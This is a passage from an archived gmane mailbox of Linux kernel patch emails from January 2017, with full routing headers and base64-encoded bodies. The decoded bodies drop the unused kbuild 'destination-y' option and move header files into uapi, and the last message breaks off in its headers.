 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-me
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 06 10:45:06 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR55-0007X2-Sy
	for gcvxd-xen-devel@m.gmane.org; Fri, 06 Jan 2017 10:45:04 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR4Q-0000Qm-VF; Fri, 06 Jan 2017 09:44:22 +0000
Original-Received: from mail6.bemta3.messagelabs.com ([195.245.230.39])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cPR4Q-0000PC-3J
 for xen-devel@lists.xenproject.org; Fri, 06 Jan 2017 09:44:22 +0000
Original-Received: from [85.158.137.68] by server-4.bemta-3.messagelabs.com id
 66/11-01392-5F66F685; Fri, 06 Jan 2017 09:44:21 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrELMWRWlGSWpSXmKPExsViJz7RR/dLWn6
 Ewarj+hbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8abCZtYCn4KV+yccpq1gfGDQBcjF4eQwGxG
 iT8TLrJBOMsZJZ58WQ/kcHKwCRhKbDj/CMjm4BAREJRo/acJUsMscJBL4tiGVcwgNcICnhJNL
 24xgdgsAqoS7d2vWUDqeYHiU6f5gYQlBOQkLk9/ADaSU8BL4ujpeWCtQgLVEo3bmlkmMHIvYG
 RYxahRnFpUllqka2Skl1SUmZ5RkpuYmaNraGCsl5taXJyYnpqTmFSsl5yfu4kR6N96BgbGHYx
 TT/gdYpTkYFIS5Q1zzI8Q4kvKT6nMSCzOiC8qzUktPsQow8GhJMH7MRUoJ1iUmp5akZaZAww0
 mLQEB4+SCC8XMNiEeIsLEnOLM9MhUqcYdTnWbN7xlEmIJS8/L1VKnHcTyAwBkKKM0jy4EbCgv
 8QoKyXMy8jAwCDEU5BalJtZgir/ilGcg1FJmJcHZBVPZl4J3KZXQEcwAR0h6Al2REkiQkqqgT
 Gxv5GBuWhB7pdm7w61Ha92SP9i2PLuoZgN0wMz8b3rQtiXy0wXYliyy+15jaEN22K7dX6rFhR
 wMlXrvzauf9NsNFN/45Wr91P38wnkb2CwsZ4f5FbFoOAuffaGybRC4+fBKXVlE6y3bn2lnad6
 9+j3HfuDTzZrXjlewCQ3uVBg4ZKm7wfK05RYijMSDbWYi4oTAeQ5Cad1AgAA
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-5.tower-31.messagelabs.com!1483695857!76044544!3
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.5 required=7.0 tests=BODY_RANDOM_LONG
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 50758 invoked from network); 6 Jan 2017 09:44:19 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-5.tower-31.messagelabs.com with SMTP; 6 Jan 2017 09:44:19 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 83F14254EF;
 Fri,  6 Jan 2017 10:44:09 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cPR49-0004sq-7y; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:314847 gmane.linux.ports.mips.general:57374 gmane.linux.alsa.devel:162873 gmane.linux.ports.ia64:27521 gmane.linux.documentation:44040 gmane.comp.video.dri.devel:175519 gmane.linux.drivers.mtd:71094 gmane.linux.ports.sparc:24265 gmane.linux.kernel.cross-arch:34661 gmane.linux.drivers.rdma:45161 gmane.linux.ports.hexagon:1070 gmane.linux.ports.sh.devel:54906 gmane.linux.scsi.open-fcoe.devel:12983 gmane.linux.kernel.arc:1964 gmane.linux.drivers.video-input-infrastructure:111659 gmane.linux.kbuild.devel:16249 gmane.linux.raid:55276 gmane.linux.kernel.metag:1197 gmane.linux.ports.arm.kernel:548343 gmane.linux.nfs:81282 gmane.linux.ports.parisc:27145 gmane.linux.network:448445 gmane.linux.kernel.mmc:41933 gmane.linux.kernel:2381505 gmane.linux.kernel.spi.devel:26042 gmane.comp.security.firewalls.netfilter.devel:66778 gmane.linux.ports.alpha:3994 gmane.linux.ports.ppc64.devel:137019
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/314847>

VGhpcyBvcHRpb24gd2FzIGFkZGVkIGluIGNvbW1pdCBjN2JiMzQ5ZTdjMjUgKCJrYnVpbGQ6IGlu
dHJvZHVjZSBkZXN0aW5hdGlvbi15CmZvciBleHBvcnRlZCBoZWFkZXJzIikgYnV0IG5ldmVyIHVz
ZWQgaW4tdHJlZS4KClNpZ25lZC1vZmYtYnk6IE5pY29sYXMgRGljaHRlbCA8bmljb2xhcy5kaWNo
dGVsQDZ3aW5kLmNvbT4KLS0tCiBEb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMudHh0IHwg
MjMgKysrKy0tLS0tLS0tLS0tLS0tLS0tLS0KIHNjcmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3Qg
ICAgICAgfCAgMiArLQogMiBmaWxlcyBjaGFuZ2VkLCA1IGluc2VydGlvbnMoKyksIDIwIGRlbGV0
aW9ucygtKQoKZGlmZiAtLWdpdCBhL0RvY3VtZW50YXRpb24va2J1aWxkL21ha2VmaWxlcy50eHQg
Yi9Eb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMudHh0CmluZGV4IDliOWM0Nzk3ZmM1NS4u
MzdiNTI1ZDMyOWFlIDEwMDY0NAotLS0gYS9Eb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMu
dHh0CisrKyBiL0RvY3VtZW50YXRpb24va2J1aWxkL21ha2VmaWxlcy50eHQKQEAgLTQ2LDkgKzQ2
LDggQEAgVGhpcyBkb2N1bWVudCBkZXNjcmliZXMgdGhlIExpbnV4IGtlcm5lbCBNYWtlZmlsZXMu
CiAJPT09IDcgS2J1aWxkIHN5bnRheCBmb3IgZXhwb3J0ZWQgaGVhZGVycwogCQktLS0gNy4xIGhl
YWRlci15CiAJCS0tLSA3LjIgZ2VuaGRyLXkKLQkJLS0tIDcuMyBkZXN0aW5hdGlvbi15Ci0JCS0t
LSA3LjQgZ2VuZXJpYy15Ci0JCS0tLSA3LjUgZ2VuZXJhdGVkLXkKKwkJLS0tIDcuMyBnZW5lcmlj
LXkKKwkJLS0tIDcuNCBnZW5lcmF0ZWQteQogCiAJPT09IDggS2J1aWxkIFZhcmlhYmxlcwogCT09
PSA5IE1ha2VmaWxlIGxhbmd1YWdlCkBAIC0xMjk1LDIxICsxMjk0LDcgQEAgU2VlIHN1YnNlcXVl
bnQgY2hhcHRlciBmb3IgdGhlIHN5bnRheCBvZiB0aGUgS2J1aWxkIGZpbGUuCiAJCQkjaW5jbHVk
ZS9saW51eC9LYnVpbGQKIAkJCWdlbmhkci15ICs9IHZlcnNpb24uaAogCi0JLS0tIDcuMyBkZXN0
aW5hdGlvbi15Ci0KLQlXaGVuIGFuIGFyY2hpdGVjdHVyZSBoYXMgYSBzZXQgb2YgZXhwb3J0ZWQg
aGVhZGVycyB0aGF0IG5lZWRzIHRvIGJlCi0JZXhwb3J0ZWQgdG8gYSBkaWZmZXJlbnQgZGlyZWN0
b3J5IGRlc3RpbmF0aW9uLXkgaXMgdXNlZC4KLQlkZXN0aW5hdGlvbi15IHNwZWNpZmllcyB0aGUg
ZGVzdGluYXRpb24gZGlyZWN0b3J5IGZvciBhbGwgZXhwb3J0ZWQKLQloZWFkZXJzIGluIHRoZSBm
aWxlIHdoZXJlIGl0IGlzIHByZXNlbnQuCi0KLQkJRXhhbXBsZToKLQkJCSNhcmNoL3h0ZW5zYS9w
bGF0Zm9ybXMvczYxMDUvaW5jbHVkZS9wbGF0Zm9ybS9LYnVpbGQKLQkJCWRlc3RpbmF0aW9uLXkg
Oj0gaW5jbHVkZS9saW51eAotCi0JSW4gdGhlIGV4YW1wbGUgYWJvdmUgYWxsIGV4cG9ydGVkIGhl
YWRlcnMgaW4gdGhlIEtidWlsZCBmaWxlCi0Jd2lsbCBiZSBsb2NhdGVkIGluIHRoZSBkaXJlY3Rv
cnkgImluY2x1ZGUvbGludXgiIHdoZW4gZXhwb3J0ZWQuCi0KLQktLS0gNy40IGdlbmVyaWMteQor
CS0tLSA3LjMgZ2VuZXJpYy15CiAKIAlJZiBhbiBhcmNoaXRlY3R1cmUgdXNlcyBhIHZlcmJhdGlt
IGNvcHkgb2YgYSBoZWFkZXIgZnJvbQogCWluY2x1ZGUvYXNtLWdlbmVyaWMgdGhlbiB0aGlzIGlz
IGxpc3RlZCBpbiB0aGUgZmlsZQpAQCAtMTMzNiw3ICsxMzIxLDcgQEAgU2VlIHN1YnNlcXVlbnQg
Y2hhcHRlciBmb3IgdGhlIHN5bnRheCBvZiB0aGUgS2J1aWxkIGZpbGUuCiAJCUV4YW1wbGU6IHRl
cm1pb3MuaAogCQkJI2luY2x1ZGUgPGFzbS1nZW5lcmljL3Rlcm1pb3MuaD4KIAotCS0tLSA3LjUg
Z2VuZXJhdGVkLXkKKwktLS0gNy40IGdlbmVyYXRlZC15CiAKIAlJZiBhbiBhcmNoaXRlY3R1cmUg
Z2VuZXJhdGVzIG90aGVyIGhlYWRlciBmaWxlcyBhbG9uZ3NpZGUgZ2VuZXJpYy15CiAJd3JhcHBl
cnMsIGFuZCBub3QgaW5jbHVkZWQgaW4gZ2VuaGRyLXksIHRoZW4gZ2VuZXJhdGVkLXkgc3BlY2lm
aWVzCmRpZmYgLS1naXQgYS9zY3JpcHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0IGIvc2NyaXB0cy9N
YWtlZmlsZS5oZWFkZXJzaW5zdAppbmRleCAzZTIwZDAzNDMyZDIuLjg3NmI0MmNmZWRlNCAxMDA2
NDQKLS0tIGEvc2NyaXB0cy9NYWtlZmlsZS5oZWFkZXJzaW5zdAorKysgYi9zY3JpcHRzL01ha2Vm
aWxlLmhlYWRlcnNpbnN0CkBAIC0xNCw3ICsxNCw3IEBAIGtidWlsZC1maWxlIDo9ICQoc3JjdHJl
ZSkvJChvYmopL0tidWlsZAogaW5jbHVkZSAkKGtidWlsZC1maWxlKQogCiAjIGNhbGxlZCBtYXkg
c2V0IGRlc3RpbmF0aW9uIGRpciAod2hlbiBpbnN0YWxsaW5nIHRvIGFzbS8pCi1fZHN0IDo9ICQo
aWYgJChkZXN0aW5hdGlvbi15KSwkKGRlc3RpbmF0aW9uLXkpLCQoaWYgJChkc3QpLCQoZHN0KSwk
KG9iaikpKQorX2RzdCA6PSAkKGlmICQoZHN0KSwkKGRzdCksJChvYmopKQogCiBvbGQta2J1aWxk
LWZpbGUgOj0gJChzcmN0cmVlKS8kKHN1YnN0IHVhcGkvLCwkKG9iaikpL0tidWlsZAogaWZuZXEg
KCQod2lsZGNhcmQgJChvbGQta2J1aWxkLWZpbGUpKSwpCi0tIAoyLjguMQoKCl9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClhlbi1kZXZlbCBtYWlsaW5nIGxp
c3QKWGVuLWRldmVsQGxpc3RzLnhlbi5vcmcKaHR0cHM6Ly9saXN0cy54ZW4ub3JnL3hlbi1kZXZl
bAo=


From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 2/7] h8300: put bitsperlong.h in uapi
Date: Fri,  6 Jan 2017 10:43:54 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1483695839-18660-3-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1483695915 32567 195.159.176.226 (6 Jan 2017 09:45:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:45:15 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-me
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 06 10:45:06 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR55-0007Ta-JY
	for gcvxd-xen-devel@m.gmane.org; Fri, 06 Jan 2017 10:45:03 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR4N-0000OW-Qx; Fri, 06 Jan 2017 09:44:19 +0000
Original-Received: from mail6.bemta6.messagelabs.com ([193.109.254.103])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cPR4M-0000Nx-RU
 for xen-devel@lists.xenproject.org; Fri, 06 Jan 2017 09:44:18 +0000
Original-Received: from [85.158.143.35] by server-6.bemta-6.messagelabs.com id
 1E/1F-15112-2F66F685; Fri, 06 Jan 2017 09:44:18 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrMLMWRWlGSWpSXmKPExsViJz7RR/djWn6
 EwaSVahbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8an5wtYCh7xVJxsPsvawHiQu4uRi0NIYDaj
 xPwZi1kgnOWMEk9enQByODnYBAwlNpx/xNbFyMEhIiAo0fpPE6SGWeAgl8SxDauYQWqEBSwk1
 p44yg5iswioSqzaf4wRxOYV8JS4/qKLFcSWEJCTuDz9ARuIzSngJXH09DywXiGBaonGbc0sEx
 i5FzAyrGLUKE4tKkst0jWy1EsqykzPKMlNzMzRNTQw08tNLS5OTE/NSUwq1kvOz93ECPQwAxD
 sYDywKPAQoyQHk5Iob5hjfoQQX1J+SmVGYnFGfFFpTmrxIUYZDg4lCd5pqUA5waLU9NSKtMwc
 YKjBpCU4eJREeCeCpHmLCxJzizPTIVKnGHU51mze8ZRJiCUvPy9VSpx3E0iRAEhRRmke3AhY2
 F9ilJUS5mUEOkqIpyC1KDezBFX+FaM4B6OSMO9UkCk8mXklcJteAR3BBHSEoCfYESWJCCmpBs
 bt3cl6E8q++NcdNBFcvf1Sz+6qXS7vG4/cyOJcVD9tsoSSFEPF8gr7ut9pfz3vZXqbt+c9frn
 0UpzMkneHhDPmikd9/tZ4/n35aduZO7n/r3IL/7/vh0H3X36DCf9v772yJv3p/cg9e3v22e+X
 f7nplpRBuoO18P4rR+rOTphXfZ8pkUnvzm55JZbijERDLeai4kQAPI/hFHYCAAA=
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-7.tower-21.messagelabs.com!1483695855!51438180!2
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.0 required=7.0 tests=
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 52809 invoked from network); 6 Jan 2017 09:44:16 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-7.tower-21.messagelabs.com with SMTP; 6 Jan 2017 09:44:16 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id EF383254EA;
 Fri,  6 Jan 2017 10:44:07 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cPR49-0004sX-4b; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:314848 gmane.linux.ports.mips.general:57375 gmane.linux.alsa.devel:162874 gmane.linux.ports.ia64:27522 gmane.linux.documentation:44041 gmane.comp.video.dri.devel:175520 gmane.linux.drivers.mtd:71095 gmane.linux.ports.sparc:24266 gmane.linux.kernel.cross-arch:34662 gmane.linux.drivers.rdma:45162 gmane.linux.ports.hexagon:1071 gmane.linux.ports.sh.devel:54907 gmane.linux.scsi.open-fcoe.devel:12984 gmane.linux.kernel.arc:1965 gmane.linux.drivers.video-input-infrastructure:111660 gmane.linux.kbuild.devel:16250 gmane.linux.raid:55277 gmane.linux.kernel.metag:1198 gmane.linux.ports.arm.kernel:548344 gmane.linux.nfs:81283 gmane.linux.ports.parisc:27146 gmane.linux.network:448446 gmane.linux.kernel.mmc:41934 gmane.linux.kernel:2381506 gmane.linux.kernel.spi.devel:26043 gmane.comp.security.firewalls.netfilter.devel:66779 gmane.linux.ports.alpha:3995 gmane.linux.ports.ppc64.devel:137020
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/314848>

VGhpcyBoZWFkZXIgZmlsZSBpcyBleHBvcnRlZCwgdGh1cyBtb3ZlIGl0IHRvIHVhcGkuCgpTaWdu
ZWQtb2ZmLWJ5OiBOaWNvbGFzIERpY2h0ZWwgPG5pY29sYXMuZGljaHRlbEA2d2luZC5jb20+Ci0t
LQogYXJjaC9oODMwMC9pbmNsdWRlL2FzbS9iaXRzcGVybG9uZy5oICAgICAgfCAxMCArLS0tLS0t
LS0tCiBhcmNoL2g4MzAwL2luY2x1ZGUvdWFwaS9hc20vYml0c3BlcmxvbmcuaCB8IDE0ICsrKysr
KysrKysrKysrCiAyIGZpbGVzIGNoYW5nZWQsIDE1IGluc2VydGlvbnMoKyksIDkgZGVsZXRpb25z
KC0pCiBjcmVhdGUgbW9kZSAxMDA2NDQgYXJjaC9oODMwMC9pbmNsdWRlL3VhcGkvYXNtL2JpdHNw
ZXJsb25nLmgKCmRpZmYgLS1naXQgYS9hcmNoL2g4MzAwL2luY2x1ZGUvYXNtL2JpdHNwZXJsb25n
LmggYi9hcmNoL2g4MzAwL2luY2x1ZGUvYXNtL2JpdHNwZXJsb25nLmgKaW5kZXggZTE0MGU0Njcy
OWFjLi5jMGE4ZTJlZTUzMWUgMTAwNjQ0Ci0tLSBhL2FyY2gvaDgzMDAvaW5jbHVkZS9hc20vYml0
c3BlcmxvbmcuaAorKysgYi9hcmNoL2g4MzAwL2luY2x1ZGUvYXNtL2JpdHNwZXJsb25nLmgKQEAg
LTEsMTQgKzEsNiBAQAogI2lmbmRlZiBfX0FTTV9IODMwMF9CSVRTX1BFUl9MT05HCiAjZGVmaW5l
IF9fQVNNX0g4MzAwX0JJVFNfUEVSX0xPTkcKIAotI2luY2x1ZGUgPGFzbS1nZW5lcmljL2JpdHNw
ZXJsb25nLmg+Ci0KLSNpZiAhZGVmaW5lZChfX0FTU0VNQkxZX18pCi0vKiBoODMwMC11bmtub3du
LWxpbnV4IHJlcXVpcmVkIGxvbmcgKi8KLSNkZWZpbmUgX19rZXJuZWxfc2l6ZV90IF9fa2VybmVs
X3NpemVfdAotdHlwZWRlZiB1bnNpZ25lZCBsb25nCV9fa2VybmVsX3NpemVfdDsKLXR5cGVkZWYg
bG9uZwkJX19rZXJuZWxfc3NpemVfdDsKLXR5cGVkZWYgbG9uZwkJX19rZXJuZWxfcHRyZGlmZl90
OwotI2VuZGlmCisjaW5jbHVkZSA8dWFwaS9hc20vYml0c3BlcmxvbmcuaD4KIAogI2VuZGlmIC8q
IF9fQVNNX0g4MzAwX0JJVFNfUEVSX0xPTkcgKi8KZGlmZiAtLWdpdCBhL2FyY2gvaDgzMDAvaW5j
bHVkZS91YXBpL2FzbS9iaXRzcGVybG9uZy5oIGIvYXJjaC9oODMwMC9pbmNsdWRlL3VhcGkvYXNt
L2JpdHNwZXJsb25nLmgKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAwMDAwLi5l
NTZjZjcyMzY5YjYKLS0tIC9kZXYvbnVsbAorKysgYi9hcmNoL2g4MzAwL2luY2x1ZGUvdWFwaS9h
c20vYml0c3BlcmxvbmcuaApAQCAtMCwwICsxLDE0IEBACisjaWZuZGVmIF9VQVBJX0FTTV9IODMw
MF9CSVRTX1BFUl9MT05HCisjZGVmaW5lIF9VQVBJX0FTTV9IODMwMF9CSVRTX1BFUl9MT05HCisK
KyNpbmNsdWRlIDxhc20tZ2VuZXJpYy9iaXRzcGVybG9uZy5oPgorCisjaWYgIWRlZmluZWQoX19B
U1NFTUJMWV9fKQorLyogaDgzMDAtdW5rbm93bi1saW51eCByZXF1aXJlZCBsb25nICovCisjZGVm
aW5lIF9fa2VybmVsX3NpemVfdCBfX2tlcm5lbF9zaXplX3QKK3R5cGVkZWYgdW5zaWduZWQgbG9u
ZwlfX2tlcm5lbF9zaXplX3Q7Cit0eXBlZGVmIGxvbmcJCV9fa2VybmVsX3NzaXplX3Q7Cit0eXBl
ZGVmIGxvbmcJCV9fa2VybmVsX3B0cmRpZmZfdDsKKyNlbmRpZgorCisjZW5kaWYgLyogX1VBUElf
QVNNX0g4MzAwX0JJVFNfUEVSX0xPTkcgKi8KLS0gCjIuOC4xCgoKX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX18KWGVuLWRldmVsIG1haWxpbmcgbGlzdApYZW4t
ZGV2ZWxAbGlzdHMueGVuLm9yZwpodHRwczovL2xpc3RzLnhlbi5vcmcveGVuLWRldmVsCg==


From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: [PATCH v2 4/7] x86: put msr-index.h in uapi
Date: Fri,  6 Jan 2017 10:43:56 +0100
Lines: 1421
Approved: news@gmane.org
Message-ID: <1483695839-18660-5-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1483695915 32556 195.159.176.226 (6 Jan 2017 09:45:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:45:15 +0000 (UTC)
Cc: mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.
To: arnd@arndb.de
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 06 10:45:04 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cPR52-0007Ii-Jm
	for glk-linux-kernel-3@m.gmane.org; Fri, 06 Jan 2017 10:45:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S939899AbdAFJpB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 6 Jan 2017 04:45:01 -0500
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]:42123 "EHLO
        proxy.6wind.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1762469AbdAFJog (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 6 Jan 2017 04:44:36 -0500
